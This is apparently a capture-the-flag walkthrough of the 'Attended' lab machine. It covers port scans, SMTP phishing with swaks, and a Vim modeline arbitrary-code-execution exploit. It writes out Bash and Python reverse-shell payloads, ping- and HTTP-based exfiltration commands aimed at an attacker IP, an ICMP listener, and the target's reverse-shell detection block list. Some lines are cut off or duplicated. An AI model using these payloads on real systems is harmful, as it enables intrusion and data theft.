Creds

Username	Password
guly	
freshness	

Nmap

Port	Service
22	ssh
25	smtp

```
# Nmap 7.91 scan initiated Tue Apr 27 20:30:18 2021 as: nmap -sC -sV -vvv -p- -
oN nmap/Full 10.10.10.221
Nmap scan report for 10.10.10.221
Host is up, received echo-reply ttl 254 (0.040s latency).
Scanned at 2021-04-27 20:30:19 EDT for 129s
Not shown: 65533 filtered ports
Reason: 65533 no-responses
PORT   STATE SERVICE REASON         VERSION
22/tcp open  ssh     syn-ack ttl 62 OpenSSH 8.0 (protocol 2.0)
| ssh-hostkey:
|   3072 4f:08:48:10:a2:89:3b:bd:4a:c6:81:03:cb:20:04:f5 (RSA)
| ssh-rsa
AAAAB3NzaC1yc2EAAAADAQABAAABgQCajKy5e0I1LZSVQsHWYnkWWs5/jZznYlMik932jxCLnhiH0XfKh(

|   256 1a:41:82:21:9f:07:9d:cd:61:97:e7:fe:96:3a:8f:b0 (ECDSA)
| ecdsa-sha2-nistp256
AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBLM+87aXzxrncG0FY76FeBol0aCzuM

|   256 e0:6e:3d:52:ca:5a:7b:4a:11:cb:94:ef:af:49:07:aa (ED25519)
|_ssh-ed25519
AAAAC3NzaC1lZDI1NTE5AAAAIMJetBmI2kdgSmPqxFUoM3xm0yeFboNZwDzeGsID4RiD
25/tcp open  smtp    syn-ack ttl 62
| fingerprint-strings:
|   GenericLines, GetRequest:
```

```
|     220 proudly setup by guly for attended.htb ESMTP OpenSMTPD
|     5.5.1 Invalid command: Pipelining not supported
|   Hello:
|     220 proudly setup by guly for attended.htb ESMTP OpenSMTPD
|     5.5.1 Invalid command: EHLO requires domain name
|   Help:
|     220 proudly setup by guly for attended.htb ESMTP OpenSMTPD
|     214- This is OpenSMTPD
|     214- To report bugs in the implementation, please contact
bugs@openbsd.org
|     214- with full details
|     2.0.0: End of HELP info
|   NULL:
|_    220 proudly setup by guly for attended.htb ESMTP OpenSMTPD
| smtp-commands: proudly setup by guly for attended.htb Hello nmap.scanme.org
[10.10.15.41], pleased to meet you, 8BITMIME, ENHANCEDSTATUSCODES, SIZE
36700160, DSN, HELP,
|_ This is OpenSMTPD To report bugs in the implementation, please contact
bugs@openbsd.org with full details 2.0.0: End of HELP info
1 service unrecognized despite returning data. If you know the service/version,
please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?
new-service :
SF-Port25-TCP:V=7.91%I=7%D=4/27%Time=6088AD0B%P=x86_64-pc-linux-gnu%r(NULL
SF:,3C,"220\x20proudly\x20setup\x20by\x20guly\x20for\x20attended\.htb\x20E

SF:SMTP\x20OpenSMTPD\r\n")%r(Hello,72,"220\x20proudly\x20setup\x20by\x20gu
SF:ly\x20for\x20attended\.htb\x20ESMTP\x20OpenSMTPD\r\n501\x205\.5\.1\x20I
SF:nvalid\x20command:\x20EHLO\x20requires\x20domain\x20name\r\n")%r(Help,D
SF:5,"220\x20proudly\x20setup\x20by\x20guly\x20for\x20attended\.htb\x20ESM
SF:TP\x20OpenSMTPD\r\n214-\x20This\x20is\x20OpenSMTPD\r\n214-\x20To\x20rep
SF:ort\x20bugs\x20in\x20the\x20implementation,\x20please\x20contact\x20bug
SF:s@openbsd\.org\r\n214-\x20with\x20full\x20details\r\n214\x202\.0\.0:\x2
SF:0End\x20of\x20HELP\x20info\r\n")%r(GenericLines,71,"220\x20proudly\x20s
SF:etup\x20by\x20guly\x20for\x20attended\.htb\x20ESMTP\x20OpenSMTPD\r\n500
SF:\x205\.5\.1\x20Invalid\x20command:\x20Pipelining\x20not\x20supported\r\
SF:n")%r(GetRequest,71,"220\x20proudly\x20setup\x20by\x20guly\x20for\x20at
SF:tended\.htb\x20ESMTP\x20OpenSMTPD\r\n500\x205\.5\.1\x20Invalid\x20comma
SF:nd:\x20Pipelining\x20not\x20supported\r\n");

Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at
```

```
https://nmap.org/submit/ .
# Nmap done at Tue Apr 27 20:32:28 2021 -- 1 IP address (1 host up) scanned in 130.75 seconds


# Nmap 7.91 scan initiated Thu Apr 29 11:39:32 2021 as: nmap -A -sC -sV -vvv -p- -oN nmap/Full2 10.10.10.221
...[snip]...
Running (JUST GUESSING): OpenBSD 4.X|5.X|6.X (93%)
OS CPE: cpe:/o:openbsd:openbsd:4.3 cpe:/o:openbsd:openbsd:5 cpe:/o:openbsd:openbsd:6
OS fingerprint not ideal because: Missing a closed TCP port so results incomplete
Aggressive OS guesses: OpenBSD 4.3 (93%), OpenBSD 4.0 (89%), OpenBSD 5.0 - 6.0 (86%), OpenBSD 4.6 (85%)
...[snip]
```

Hostname leaked - *attended.htb*

Possible user leaked - *guly*

Possible os leaked - *openbsd - version 4.3?*

Ping

```
kali@kali:~$ ping $IP
PING 10.10.10.221 (10.10.10.221) 56(84) bytes of data.
64 bytes from 10.10.10.221: icmp_seq=1 ttl=254 time=37.8 ms
64 bytes from 10.10.10.221: icmp_seq=2 ttl=254 time=40.2 ms
```

TTL

Device/OS	ttl
*nix (Linux/Unix)	64
Windows	128
Solaris/AIX	254

searchsploit

```
kali@kali:~$ searchsploit opensmtpd
------------------------------------------------------------------------------
------------------------------------------------------------------------------
---------------------------------------- ---------------------------------
 Exploit Title
|  Path
------------------------------------------------------------------------------
------------------------------------------------------------------------------
---------------------------------------- ---------------------------------
OpenSMTPD - MAIL FROM Remote Code Execution (Metasploit)
| linux/remote/48038.rb
OpenSMTPD - OOB Read Local Privilege Escalation (Metasploit)
| linux/local/48185.rb
OpenSMTPD 6.4.0 < 6.6.1 - Local Privilege Escalation + Remote Code Execution
| openbsd/remote/48051.pl
OpenSMTPD 6.6.2 - Remote Code Execution
| linux/remote/47984.py
OpenSMTPD 6.6.3 - Arbitrary File Read
| linux/remote/48139.c
OpenSMTPD < 6.6.3p1 - Local Privilege Escalation + Remote Code Execution
| openbsd/remote/48140.c
------------------------------------------------------------------------------
------------------------------------------------------------------------------
---------------------------------------- ---------------------------------
Shellcodes: No Results
Papers: No Results
```

smtp

send email

```
kali@kali:~$ swaks --to guly@attended.htb --from kali@kali --body
"http://10.10.15.41:8000"
=== Trying attended.htb:25...
=== Connected to attended.htb.
<-  220 proudly setup by guly for attended.htb ESMTP OpenSMTPD
```

```
 -> EHLO kali
<-  250-proudly setup by guly for attended.htb Hello kali [10.10.15.41],
pleased to meet you
<-  250-8BITMIME
<-  250-ENHANCEDSTATUSCODES
<-  250-SIZE 36700160
<-  250-DSN
<-  250 HELP
 -> MAIL FROM:<kali@kali>
<-  250 2.0.0: Ok
 -> RCPT TO:<guly@attended.htb>
<-  250 2.1.5 Destination address valid: Recipient ok
 -> DATA
<-  354 Enter mail, end with "." on a line by itself
 -> Date: Wed, 28 Apr 2021 13:35:18 -0400
 -> To: guly@attended.htb
 -> From: kali@kali
 -> Subject: test Wed, 28 Apr 2021 13:35:18 -0400
 -> Message-Id: <20210428133518.346661@kali>
 -> X-Mailer: swaks v20201014.0 jetmore.org/john/code/swaks/
 ->
 -> http://10.10.15.41:8000
 ->
 ->
 -> .
<-  250 2.0.0: 088c5455 Message accepted for delivery
 -> QUIT
<-  221 2.0.0: Bye
=== Connection closed with remote host.
```

Receive response

```
kali@kali:~$ sudo python3 -m smtpd -n -c DebuggingServer 10.10.15.41:25
---------- MESSAGE FOLLOWS ----------
b'Received: from attended.htb (attended.htb [192.168.23.2])'
b'\tby attendedgw.htb (Postfix) with ESMTP id 802D132CCF'
b'\tfor <kali@10.10.15.41>; Wed, 28 Apr 2021 19:46:58 +0200 (CEST)'
b'Content-Type: multipart/alternative;'
b' boundary="===============5748042527958935306=="'
```

```
b'MIME-Version: 1.0'
b'Subject: Re: test Wed, 28 Apr 2021 13:35:18 -0400'
b'From: guly@attended.htb'
b'X-Peer: 10.10.10.221'
b''
b'----------------=5748042527958935306=='
b'Content-Type: text/plain; charset="us-ascii"'
b'MIME-Version: 1.0'
b'Content-Transfer-Encoding: 7bit'
b''
b'hello, thanks for writing.'
b"i'm currently quite busy working on an issue with freshness and dodging any
email from everyone but him. i'll get back in touch as soon as possible."
b''
b''
b'---'
b'guly'
b''
b'OpenBSD user since 1995'
b'Vim power user'
b''
b'/"\\ '
b'\\ /  ASCII Ribbon Campaign'
b' X   against HTML e-mail'
b'/ \\  against proprietary e-mail attachments'
b''
b'----------------=5748042527958935306==--'
------------ END MESSAGE ------------
```

local ip address leaked - *192.168.23.2*

Vhost leaked - *attendedgw.htb*

User Leaked - *freshness*

Information leaked - *Against proprietary e-mail attachments*

Send

```
$ swaks --to guly@attended.htb --from freshness@attended.htb --body
"http://10.10.15.41:8000"
```

Receive

```
---------- MESSAGE FOLLOWS ----------
b'Received: from attended.htb (attended.htb [192.168.23.2])'
b'\tby attendedgw.htb (Postfix) with ESMTP id 7AD4D32DD0'
b'\tfor <freshness@10.10.15.41>; Wed, 28 Apr 2021 19:54:28 +0200 (CEST)'
b'Content-Type: multipart/alternative;'
b' boundary="===============5562208281563066869=="'
b'MIME-Version: 1.0'
b'Subject: Re: test'
b'From: guly@attended.htb'
b'X-Peer: 10.10.10.221'
b''
b'--===============5562208281563066869=='
b'Content-Type: text/plain; charset="us-ascii"'
b'MIME-Version: 1.0'
b'Content-Transfer-Encoding: 7bit'
b''
b'hi mate, could you please double check your attachment? looks like you forgot
to actually attach anything :)'
b''
b'p.s.: i also installed a basic py2 env on gw so you can PoC quickly my new
outbound traffic restrictions. i think it should stop any non RFC compliant
connection.'
b''
b''
b'---'
b'guly'
b''
b'OpenBSD user since 1995'
b'Vim power user'
b''
b'/"\\ '
b'\\ /  ASCII Ribbon Campaign'
b' X   against HTML e-mail'
b'/ \\  against proprietary e-mail attachments'
```

```
b''
b'--===============5562208281563066869==--'
------------ END MESSAGE ------------
```

local ip address leaked - *192.168.23.2*

Vhost leaked - *attendedgw.htb*

Information leaked - *python2 env on gw(gateway)? server?? for PoC should stop non RFC compliant connections?*

Send Rev shell as attachment

```
kali@kali:~$ swaks --to guly@attended.htb --from freshness@attended.htb --body
"http://10.10.15.41:8000" --attach shell.sh
*** DEPRECATION WARNING: Inferring a filename from the argument to --attach
will be removed in the future.  Prefix filenames with '@' instead.
=== Trying attended.htb:25...
=== Connected to attended.htb.
<-  220 proudly setup by guly for attended.htb ESMTP OpenSMTPD
 -> EHLO kali
<-  250-proudly setup by guly for attended.htb Hello kali [10.10.15.41],
pleased to meet you
<-  250-8BITMIME
<-  250-ENHANCEDSTATUSCODES
<-  250-SIZE 36700160
<-  250-DSN
<-  250 HELP
 -> MAIL FROM:<freshness@attended.htb>
<-  250 2.0.0: Ok
 -> RCPT TO:<guly@attended.htb>
<-  250 2.1.5 Destination address valid: Recipient ok
 -> DATA
<-  354 Enter mail, end with "." on a line by itself
 -> Date: Wed, 28 Apr 2021 13:57:39 -0400
 -> To: guly@attended.htb
 -> From: freshness@attended.htb
 -> Subject: test Wed, 28 Apr 2021 13:57:39 -0400
 -> Message-Id: <20210428135739.346896@kali>
 -> X-Mailer: swaks v20201014.0 jetmore.org/john/code/swaks/
```

```
 -> MIME-Version: 1.0
 -> Content-Type: multipart/mixed; boundary="----=_MIME_BOUNDARY_000_346896"
 ->
 -> ------=_MIME_BOUNDARY_000_346896
 -> Content-Type: text/plain
 ->
 -> http://10.10.15.41:8000
 -> ------=_MIME_BOUNDARY_000_346896
 -> Content-Type: application/octet-stream; name="shell.sh"
 -> Content-Description: shell.sh
 -> Content-Disposition: attachment; filename="shell.sh"
 -> Content-Transfer-Encoding: BASE64
 ->
 -> IyEvYmluL2Jhc2gKYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNS40MS85MDAxIDA+JjEK
 ->
 -> ------=_MIME_BOUNDARY_000_346896--
 ->
 ->
 -> .
<-  250 2.0.0: 2b4c1111 Message accepted for delivery
 -> QUIT
<-  221 2.0.0: Bye
=== Connection closed with remote host.
```

Receive

```
---------- MESSAGE FOLLOWS ----------
b'Received: from attended.htb (attended.htb [192.168.23.2])'
b'\tby attendedgw.htb (Postfix) with ESMTP id 7653432DD9'
b'\tfor <freshness@10.10.15.41>; Wed, 28 Apr 2021 20:09:23 +0200 (CEST)'
b'Content-Type: multipart/alternative;'
b' boundary="================1136845442001658866=="'
b'MIME-Version: 1.0'
b'Subject: Re: test Wed, 28 Apr 2021 13:57:39 -0400'
b'From: guly@attended.htb'
b'X-Peer: 10.10.10.221'
b''
b'--================1136845442001658866=='
b'Content-Type: text/plain; charset="us-ascii"'
```

```
b'MIME-Version: 1.0'
b'Content-Transfer-Encoding: 7bit'
b''
b"hi mate, i'm sorry but i can't read your attachment. could you please
remember i'm against proprietary e-mail attachments? :)"
b''
b''
b'---'
b'guly'
b''
b'OpenBSD user since 1995'
b'Vim power user'
b''
b'/"\\ '
b'\\ /  ASCII Ribbon Campaign'
b' X   against HTML e-mail'
b'/ \\  against proprietary e-mail attachments'
b''
b'--================1136845442001658866==--'
------------ END MESSAGE ------------
```

ok.....

Send - shell.py because he said set up a py2 env

```
python -c 'import
socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(
 os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-
i"]);'
```

Receive

```
---------- MESSAGE FOLLOWS ----------
b'Received: from attended.htb (attended.htb [192.168.23.2])'
b'\tby attendedgw.htb (Postfix) with ESMTP id 66EAE32CCF'
b'\tfor <freshness@10.10.15.41>; Wed, 28 Apr 2021 22:05:07 +0200 (CEST)'
b'Content-Type: multipart/alternative;'
b' boundary="===============1137382126116241015=="'
```

```
b'MIME-Version: 1.0'
b'Subject: Re: test Wed, 28 Apr 2021 15:52:50 -0400'
b'From: guly@attended.htb'
b'X-Peer: 10.10.10.221'
b''
b'--================1137382126116241015=='
b'Content-Type: text/plain; charset="us-ascii"'
b'MIME-Version: 1.0'
b'Content-Transfer-Encoding: 7bit'
b''
b"buddy, your attachment looks malicious: i won't open it. come here ASAP so we
can check your system to exclude a possible compromission."
b''
b''
b'---'
b'guly'
b''
b'OpenBSD user since 1995'
b'Vim power user'
b''
b'/"\\ '
b'\\ /  ASCII Ribbon Campaign'
b' X   against HTML e-mail'
b'/ \\  against proprietary e-mail attachments'
b''
b'--================1137382126116241015==--'
------------ END MESSAGE ------------
```

Send different payload

```
export RHOST="10.10.15.41";export RPORT=9001;python -c 'import
sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("F
[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'
```

receive

```
---------- MESSAGE FOLLOWS ----------
b'Received: from attended.htb (attended.htb [192.168.23.2])'
```

```
b'\tby attendedgw.htb (Postfix) with ESMTP id D17A132CCF'
b'\tfor <freshness@10.10.15.41>; Wed, 28 Apr 2021 22:09:25 +0200 (CEST)'
b'Content-Type: multipart/alternative;'
b' boundary="===============7987390489181105967=="'
b'MIME-Version: 1.0'
b'Subject: Re: test Wed, 28 Apr 2021 15:57:37 -0400'
b'From: guly@attended.htb'
b'X-Peer: 10.10.10.221'
b''
b'--================7987390489181105967=='
b'Content-Type: text/plain; charset="us-ascii"'
b'MIME-Version: 1.0'
b'Content-Transfer-Encoding: 7bit'
b''
b"thanks dude, i'm currently out of the office but will SSH into the box
immediately and open your attachment with vim to verify its syntax."
b'if everything is fine, you will find your config file within a few minutes in
the /home/shared folder.'
b'test it ASAP and let me know if you still face that weird issue.'
b''
b''
b'---'
b'guly'
b''
b'OpenBSD user since 1995'
b'Vim power user'
b''
b'/"\\ '
b'\\ /  ASCII Ribbon Campaign'
b' X   against HTML e-mail'
b'/ \\  against proprietary e-mail attachments'
b''
b'--================7987390489181105967==--'
------------ END MESSAGE ------------
```

leaked - using ssh - maybe capture packets?

leaked opening with - vim - maybe open vim exploit?

leaked folder - /home/shared - config file

searchsploit vim

```
kali@kali:~$ searchsploit vim
----------------------------------------------------------------------------
----------------------------------------------------------------------------
------------------------------------------ ---------------------------------
 Exploit Title
|  Path
----------------------------------------------------------------------------
----------------------------------------------------------------------------
------------------------------------------ ---------------------------------
db Software Laboratory VImpX - 'VImpX.ocx' Multiple Vulnerabilities
| windows/remote/6828.html
FreeVimager 4.1.0 - Crash (PoC)
| windows/dos/23280.txt
Netrw 125 Vim Script - Multiple Command Execution Vulnerabilities
| linux/remote/32012.txt
Netrw Vim Script - 's:BrowserMaps()' Command Execution
| multiple/local/32055.txt
Vim - 'mch_expand_wildcards()' Heap Buffer Overflow
| linux/remote/32225.txt
Vim 5.x - Swap File Race Condition
| linux/local/20967.c
vim 6.3 < 6.3.082 - 'modlines' Local Command Execution
| multiple/local/1119.txt
Vim 7.1.314 - Insufficient Shell Escaping Multiple Command Execution
Vulnerabilities
| linux/remote/32289.txt
Vim 7.x - Vim Script Multiple Command Execution Vulnerabilities
| linux/local/31911.txt
VIM 8.2 - Denial of Service (PoC)
| linux/dos/48008.txt
Vim < 8.1.1365 / Neovim < 0.3.6 - Arbitrary Code Execution
| linux/local/46973.md
ViMbAdmin 3.0.15 - Multiple Cross-Site Request Forgery Vulnerabilities
| php/webapps/41967.md
VImpX ActiveX (VImpX.ocx 4.7.3.0) - Remote Buffer Overflow
| windows/remote/3916.php
----------------------------------------------------------------------------
```

```
------------------------------------------------------------------------------
---------------------------------------- --------------------------------
Shellcodes: No Results
------------------------------------------------------------------------------
------------------------------------------------------------------------------
---------------------------------------- --------------------------------
 Paper Title
|  Path
------------------------------------------------------------------------------
------------------------------------------------------------------------------
---------------------------------------- --------------------------------
Fuzzing VIM with AFL++ - Paper
| docs/english/48167-fuzzing-vim-w
------------------------------------------------------------------------------
------------------------------------------------------------------------------
---------------------------------------- --------------------------------
```

`Vim < 8.1.1365 / Neovim < 0.3.6 - Arbitrary Code Execution | linux/local/46973.md`

poc.txt [vim exploit]

```
:!ping -c 1 10.10.15.41||" vi:fen:fdm=expr:fde=assert_fails("source\!\
\%"):fdl=0:fdt="
```

and boom ping back ok so lets craft a rev shell

[how to craft rev shell in vim (turn text into bytes)]

and doesn't work.. ok so after lots of test nothing works except ping and i can exfiltrate with ping

[ping exfiltrate]

```
CMD="ls -al"; OUTPUT=$($CMD | xxd -p -c 16); for i in $OUTPUT[@]; do ping -c 1
-p $i 10.10.15.41; done
```

[ping exfiltrate2]

```
ls -al | xxd -p -c 16 | while read exfil; do ping -p $exfil -c 1 10.10.15.41;
done
```

listener.py

```
import socket
import sys

def recv():
    s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_ICMP)
    while True:
        data,src = s.recvfrom(3200)
        #print(data)
        payload = data[52:68]
        ascii = payload.decode('utf8')
        sys.stdout.write(ascii)


if __name__ == '__main__':
    recv()
```

poc.txt

```
:!ls -al | xxd -p -c 16 | while read exfil; do ping -p $exfil -c 1 10.10.15.41;
done||" vi:fen:fdm=expr:fde=assert_fails("source\!\ \%"):fdl=0:fdt="
```

alternate - poc2.txt

```
:!CMD="ls -al"; OUTPUT=$($CMD | xxd -p -c 16); for i in $OUTPUT[@]; do ping -c
1 -p $i 10.10.15.41; done
```

alternate with python - poc3.txt

```
 :!python2 -c "import requests;requests.get('http://10.10.15.41/?y=$(ls 2>&1 |
openssl base64 -A)')"||" vi:fen:fdm=expr:fde=assert_fails("source\!\
\%"):fdl=0:fdt="
```

```
kali@kali:~$ sudo python3 -m http.server 80
[sudo] password for kali:
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.10.221 - - [02/May/2021 01:44:05] "GET /?y=Z2NoZWNrZXIucHkKbWJveAp0bXAK
HTTP/1.1" 200 -
```

ls -al

```
total 60
drwxr-x---  4 guly  guly    512 May  2 08:06 .
drwxr-xr-x  5 root  wheel   512 Jun 26  2019 ..
-rw-r--r--  1 guly  guly     87 Apr 13  2019 .Xdefaults
-rw-r--r--  1 guly  guly    771 Apr 13  2019 .cshrc
-rw-r--r--  1 guly  guly    101 Apr 13  2019 .cvsrc
-rw-r--r--  1 guly  guly    359 Apr 13  2019 .login
-rw-r--r--  1 guly  guly    175 Apr 13  2019 .mailrc
-rw-r--r--  1 guly  guly    215 Apr 13  2019 .profile
drwx------  2 root  wheel   512 Jun 26  2019 .ssh
-rw-------  1 guly  guly      0 Dec 15 17:05 .viminfo
-rw-r-----  1 guly  guly     13 Jun 26  2019 .vimrc
-rwxrwxrwx  1 root  guly   6789 Dec  4 09:07 gchecker.py
-rw-------  1 guly  guly      0 May  2 08:06 mbox
drwxr-xr-x  2 guly  guly    512 Jun 26  2019 tmp
```

cat gchecker.py

```
#!/usr/local/bin/python2
import mailparser
import mailbox
import sys,os
import tempfile
import magic
import subprocess
import time
import smtplib
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText

def checkmsf(fname):
```

```
def checkMSF(fname):
        '''
        quick&dirty msf/empire/pentestmonkey detection
        of course incomplete, anyway hope @decoder_it will be proud of this :D
        '''
        badstrings = [
                "perl -e 'use Socket;$i=",
                "python -c 'import
socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(

                "import base64,sys;exec(base64.b64decode({2:str,3:lambda
b:bytes(b,'UTF-8')}[",
                'sys.version_info[0]]',
                "import
sys,base64,warnings;warnings.filterwarnings('ignore');exec(base64.b64decode",
                'IHJlLnNlYXJjaCgiTGl0dGxlIFNuaXRjaCIsIG91',
                'cmUuc2VhcmNoKCJMaXR0bGUgU25pdGNoIiwgb3V0',
                'ZiByZS5zZWFyY2goIkxpdHRsZSBTbml0Y2giLCBv',
                'exec(r.read())',
                "import sys;u=__import__('urllib'+{2:'',3:'.request'}
[sys.version_info[0]]",
                'import base64,sys;exec(base64.b64decode',

'X19pbXBvcnRfXyh7MjondXJsbGliMicsMzondXJsbGliLnJlcXVlc3QnfVt2aVswXV0s',

'PV9faW1wb3J0X18oezI6J3VybGxpYjInLDM6J3VybGxpYi5yZXF1ZXN0J31bdmlbMF1d',

'bD1fX2ltcG9ydF9fKHsyOid1cmxsaWIyJywzOid1cmxsaWIucmVxdWVzdCd9W3ZpWzBd',

'c2UgRXhjZXB0aW9uKCdubyBzdWl0YWJsZSBpbmV0X3B0b24gZnVuY3Rpb25hbGl0eSBp',

'aXNlIEV4Y2VwdGlvbignbm8gc3VpdGFibGUgaW5ldF9wdG9uIGZ1bmN0aW9uYWxpdHkg',

'YWlzZSBFeGNlcHRpb24oJ25vIHN1aXRhYmxlIGluZXRfcHRvbiBmdW5jdGlvbmFsaXR5',
        ]
        fcontent = read5lines(fname)
        return any(ele in fcontent[0] for ele in badstrings)

def read5lines(fname):
        f = open(fname,'rb')
        fcontent = ''
        buffer=1024
```

```
        _buffer=1024
        #f.seek(0,2)
        fbytes = f.tell()
        # if file is smaller than _buffer, let's read it all
        if fbytes < _buffer:
                fcontent=f.readlines()
                return fcontent
        #if not, back to the beginning
        #f.seek(0,0)

        #this could duplicate or read more lines because of buffer size has
precedence
        for i in range(5):

                try:
                        fcontent+=f.readline()
                except:
                        break

        block = -1
        size = 6
        data = []
        while size > 0 and fbytes > 0:
                if fbytes - _buffer > 0:
                        #Seek back one whole _buffer
                        f.seek(block * _buffer, 2)
                        #read BUFFER
                        data.insert(0, f.read(fbytes))
                else:
                        #file too small, start from begining
                        f.seek(0,0)
                        #only read what was not read
                        data.insert(0, f.read(fbytes))
                linesFound = data[0].count('\n')
                size -= linesFound
                fbytes -= _buffer
                block -= 1
        fcontent+=''.join(data)
        f.close()
        return fcontent

def gulv2mbox():
```

```
def guly2mbox():
        my_env = os.environ.copy()
        my_env["PAGER"] = "/bin/cat"
        p = subprocess.Popen('/usr/bin/mail -
N',stdin=subprocess.PIPE,stdout=subprocess.PIPE, env=my_env, shell=True)
        res = p.communicate("p *")
        time.sleep(3)

def sendEmail(origmsg):
        sender = 'guly@attended.htb'
        to = origmsg['fromuser']
        server = origmsg['senderip']


        msg = MIMEMultipart('alternative')
        try:
                s = smtplib.SMTP('192.168.23.1', 25, 'attended.htb',2)
        except Exception, e:
                print ('Failed to connect to 192.168.23.1: '+ str(e))

        try:
                msg['Subject'] = 'Re: ' + origmsg['subject']
                msg['From'] = sender
                body = origmsg['body']

                content = MIMEText(body, 'plain')
                msg.attach(content)

                s.sendmail(sender, to, msg.as_string())
        except:
                return False

        return True

def reply(msg,reason):
        #print msg
        #print reason
        sig = '''


---
guly
```

```
guly

OpenBSD user since 1995
Vim power user

/"\
\ /  ASCII Ribbon Campaign
 X   against HTML e-mail
/ \  against proprietary e-mail attachments
'''
[63/1720]

        if 'missing' in reason:

                msg['body'] = "hi mate, could you please double check your
attachment? looks like you forgot to actually attach anything :)\n\np.s.: i
also installed a basic py2 env on gw so you can PoC quickly my new outbound
traffic
restrictions. i think it should stop any non RFC compliant connection."+ sig
        elif 'wrong' in reason:
            msg['body'] = "hi mate, i'm sorry but i can't read your attachment.
could you please remember i'm against proprietary e-mail attachments? :)"+sig
        elif 'roger' in reason:
                msg['body'] = "thanks dude, i'm currently out of the office but
will SSH into the box immediately and open your attachment with vim to verify
its syntax.\nif everything is fine, you will find your config file within a f
ew minutes in the /home/shared folder.\ntest it ASAP and let me know if you
still face that weird issue." + sig
        elif 'generic' in reason:
                msg['body'] = "hello, thanks for writing.\ni'm currently quite
busy working on an issue with freshness and dodging any email from everyone but
him. i'll get back in touch as soon as possible." + sig
        elif 'msf' in reason:
                msg['body'] = "buddy, your attachment looks malicious: i won't
open it. come here ASAP so we can check your system to exclude a possible
compromission." + sig
        else:
                return False

        if not msg['senderip'] in badsender:
                if not sendEmail(msg):
                        badsender[msg['senderip']] = 1
```

```
                        badsender[msg['senderip']] = 1
        return True

def doFreshness(msg):
        #print "-----------------"
        #print msg
        #try:
        #       print magic.from_file(msg['fname'],mime=True)
        #except:
        #       pass
        if not msg['fname']:
                #print "reply: missing todo file, no phishing attempt"
                reply(msg,'missing')

        elif magic.from_file(msg['fname'],mime=True) != 'text/plain':
                #print "attachment format is not text/plain"
                reply(msg,'wrong')
        else:
                #print "reply: roger that # and executing vim
against"+msg['fname']
                if checkmsf(msg['fname']):
                        reply(msg,'msf')
                        return False
                else:
                        p =
subprocess.Popen(["/usr/local/bin/vim",msg['fname']])
                        #subprocess.Popen.kill(p)
                        #res = p.communicate(":q!")
                        reply(msg,'roger')
        return True
def doGenericReply(msg):
[16/1720]
        reply(msg,'generic')
        return True



# here starts main
guly2mbox()
mbox = mailbox.mbox('/home/guly/mbox')
mbox.lock()

badsender = {}
```

```
badSender = {}
toRemove = []
fromFreshness = []
genericReply = []

for key, msg in mbox.iteritems():
[1/1720]
        parsed = mailparser.parse_from_string(mbox.get_string(key))

        try:
                senderip = parsed.received[0]['raw'].split(' ')[3]
        except:
                continue


        # i know i'm not handling multiple attachments
        fname = ''
        if msg.get_content_maintype() == 'multipart':
                for part in msg.walk():
                        if part.get_content_maintype() == 'multipart': continue
                        if part.get('Content-Disposition') is None: continue
                        filename = part.get_filename()
                        ftemp = tempfile.NamedTemporaryFile(delete=False)
                        fname = ftemp.name
                        ftemp.write(part.get_payload(decode=True))
                        ftemp.close()

        toAppend = {
                'from':parsed.from_[0][1],
                'fromuser':parsed.from_[0][1].split('@')[0]+'@'+senderip,
                'subject':msg['subject'],
                'senderip':senderip,
                'fname':fname,
        }

        if msg['from'].startswith('freshness'):
                fromFreshness.append(toAppend)
        else:
                genericReply.append(toAppend)

        toRemove.append(key)
```

```
mbox.clear()
mbox.flush()
mbox.close()

for msg in fromFreshness:
        doFreshness(msg)


for msg in genericReply:
        doGenericReply(msg)
```

which nc

```
/usr/bin/nc
```

which python

```
/usr
```

which python2

```
/usr/local/bin/python2
```

no python3

pwd

```
/home/guly
```

id

```
uid=1000(guly) gid=1000(guly) groups=1000(guly)
```

ls -al /home

```
total 20
drwxr-xr-x   5 root       wheel      512 Jun 26  2019 .
drwxr-xr-x  13 root       wheel      512 May  4 09:54 ..
drwxr-x---   4 freshness  freshness  512 Nov 12 16:56 freshness
drwxr-x---   4 guly       guly       512 May  5 00:02 guly
drwxrwx-wx   2 root       freshness  512 Dec 11 22:25 shared
```

ls -al /tmp

```
total 336
drwxrwxrwt   4 root  wheel   1024 May  5 04:36 .
drwxr-xr-x  13 root  wheel    512 May  4 09:54 ..
-rw-------   1 guly  wheel  12288 May  5 04:29 .tmp1H0xnT.swp
-rw-------   1 guly  wheel  12288 May  5 04:28 .tmp37JUHZ.swp
-rw-------   1 guly  wheel  12288 May  5 04:21 .tmp6Ch4X9.swp
-rw-------   1 guly  wheel  12288 May  5 04:19 .tmp9UpqQs.swp
-rw-------   1 guly  wheel  12288 May  5 04:15 .tmpBH44Ma.swp
-rw-------   1 guly  wheel  12288 May  5 04:24 .tmpVgs9NN.swp
-rw-------   1 guly  wheel  12288 May  5 04:36 .tmpXRb75G.swp
-rw-------   1 guly  wheel  12288 May  5 04:22 .tmpdb9vWb.swp
-rw-------   1 guly  wheel  12288 May  5 04:30 .tmpixCLbH.swp
-rw-------   1 guly  wheel   4096 May  5 04:36 .tmpkdu2EH.swp
-rw-------   1 guly  wheel  12288 May  5 04:25 .tmplr54SV.swp
-rw-------   1 guly  wheel  12288 May  5 04:10 .tmpqBW_sg.swp
drwxr-xr-x   2 root  wheel    512 May  4 09:52 sndio
-rw-------   1 guly  wheel    162 May  5 04:28 tmp1H0xnT
-rw-------   1 guly  wheel    170 May  5 04:27 tmp37JUHZ
-rw-------   1 guly  wheel    165 May  5 04:20 tmp6Ch4X9
-rw-------   1 guly  wheel    165 May  5 04:18 tmp9UpqQs
-rw-------   1 guly  wheel    154 May  5 04:14 tmpBH44Ma
-rw-------   1 guly  wheel    164 May  5 04:23 tmpVgs9NN
